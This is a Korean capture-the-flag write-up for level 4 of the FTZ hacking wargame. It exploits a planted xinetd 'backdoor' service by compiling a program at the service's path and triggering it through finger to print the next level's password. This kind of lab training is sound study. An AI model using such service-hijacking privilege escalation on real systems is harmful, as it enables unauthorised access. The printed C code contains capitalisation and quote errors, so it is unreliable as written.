FTZ WriteUp

Level4

[level4@ftz level4]$ cat hint

 

 

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

일단 이 힌트만으론 어떤 문제일지 감이 안온다 /etc/xinetd.d 에 가보자

 

[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l

-r--r--r--    1 root     level4        171  9 10  2011 backdoor

백도어라는 파일이 하나 나온다 파일을 확인해보니

 

Xinetd 설정파일이다

 

[level4@ftz xinetd.d]$ cat backdoor

service finger

{

           disable  = no

           flags                 = REUSE

           socket_type        = stream       

           wait                 = no

           user                 = level5

           server               = /home/level4/tmp/backdoor

           log_on_failure     += USERID

}

finger라는 서비스? 프로그램을 실행하면 server에 있는 프로그램이 실행된다

 

이걸 이용하여 이번 단계를 깨면 될 것 같다

 

우선 finger를 실행해봤다

 

[level4@ftz xinetd.d]$ finger level4

Login: level4                                     Name: Level 4

Directory: /home/level4                     Shell: /bin/bash

On since Sat Nov  8 21:35 (KST) on pts/1 from 192.168.1.1

No mail.

No Plan.

이 명령어는 로컬 및 원격 사용자의 계정 정보를 확인하는 명령어다

server란에 있는 경로에다가 my-pass를 실행할 수 있는 프로그램을 짜면 finger를 사용시 자동으로 실행이 될 것이다.

 

/home/level4/tmp/ 에 가서 이름을 backdoor로 하고 다음 코드를 짜고 컴파일한다

 

#include <stdio.h>

 

Int main(){

           System(“my-pass”);

           Return 0;

}

 

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

finger명령어는 finger 계정명 으로 입력할 수 있지만

finger 계정명@도메인명 으로 입력 할 수 있다

 

다음과 같은 명령어를 입력한다

[level4@ftz xinetd.d]$ finger level4@localhost

 

그럼 /home/level4/tmp/backdoor를 실행하게 되고

 

[level4@ftz level4]$ finger level4@localhost

^[[H^[[J

Level5 Password is "what is your name?".

 

[level4@ftz level4]$

 

이렇게 다음 단계의 비밀번호가 나오게 된다

다음단계의 계정비밀번호가 뜨는 걸로 봐선 finger는 자동으로 setuid를 걸어 실행하는 것으로 추측된다

Phantom@TeamH4C

댓글

댓글 본문
작성자
비밀번호
버전 관리
홍승표
현재 버전
선택 버전
graphittie 자세히 보기